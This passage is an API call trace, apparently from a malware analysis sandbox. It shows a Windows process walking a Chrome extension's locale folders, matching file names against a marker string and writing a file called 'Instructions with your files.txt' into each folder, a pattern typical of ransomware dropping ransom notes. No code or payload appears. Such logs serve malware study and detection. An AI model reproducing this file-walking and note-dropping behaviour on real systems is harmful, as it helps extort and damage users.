[0129.968] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\.") returned 147
[0129.968] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8279b800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8279df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8279df10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.968] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\..") returned 148
[0129.968] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8279df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8279df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.968] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\messages.json") returned 159
[0129.968] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.968] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8279df10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8279df10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.968] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\Instructions with your files.txt") returned 178
[0129.968] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pl\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.969] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.969] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.970] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.970] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.970] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.970] CloseHandle (hObject=0x134) returned 1
[0129.970] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.970] GetProcessHeap () returned 0x810000
[0129.970] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.970] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827a2d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827a5440, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827a5440, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
[0129.970] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR") returned 148
[0129.970] GetProcessHeap () returned 0x810000
[0129.970] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.970] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\*") returned 150
[0129.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827a2d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827a5440, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827a5440, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.970] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\.") returned 150
[0129.970] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827a2d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827a5440, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827a5440, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.971] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\..") returned 151
[0129.971] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827a5440, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827a5440, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.971] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\messages.json") returned 162
[0129.971] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.971] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827a5440, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827a5440, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.971] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\Instructions with your files.txt") returned 181
[0129.971] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_BR\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_br\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.971] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.972] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.972] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.972] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.972] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.972] CloseHandle (hObject=0x134) returned 1
[0129.973] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.973] GetProcessHeap () returned 0x810000
[0129.973] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.973] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827aa260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827af080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827af080, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1
[0129.973] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT") returned 148
[0129.973] GetProcessHeap () returned 0x810000
[0129.973] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.973] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\*") returned 150
[0129.973] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827aa260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827af080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827af080, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.975] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\.") returned 150
[0129.975] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827aa260, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827af080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827af080, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.975] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\..") returned 151
[0129.975] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827af080, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827af080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x295, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.975] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\messages.json") returned 162
[0129.975] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.975] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827af080, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827af080, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x295, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.975] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\Instructions with your files.txt") returned 181
[0129.975] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_PT\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\pt_pt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.978] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.979] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.979] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.979] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.979] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.979] CloseHandle (hObject=0x134) returned 1
[0129.979] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.979] GetProcessHeap () returned 0x810000
[0129.979] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.980] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827b3ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827b65b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827b65b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
[0129.980] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro") returned 145
[0129.980] GetProcessHeap () returned 0x810000
[0129.980] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.980] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\*") returned 147
[0129.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827b3ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827b65b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827b65b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.980] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\.") returned 147
[0129.980] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x827b3ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827b65b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x827b65b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.980] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\..") returned 148
[0129.980] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827b65b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827b8cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.980] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\messages.json") returned 159
[0129.980] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.980] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x827b65b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x827b8cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.980] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\Instructions with your files.txt") returned 178
[0129.980] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ro\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.981] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.981] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
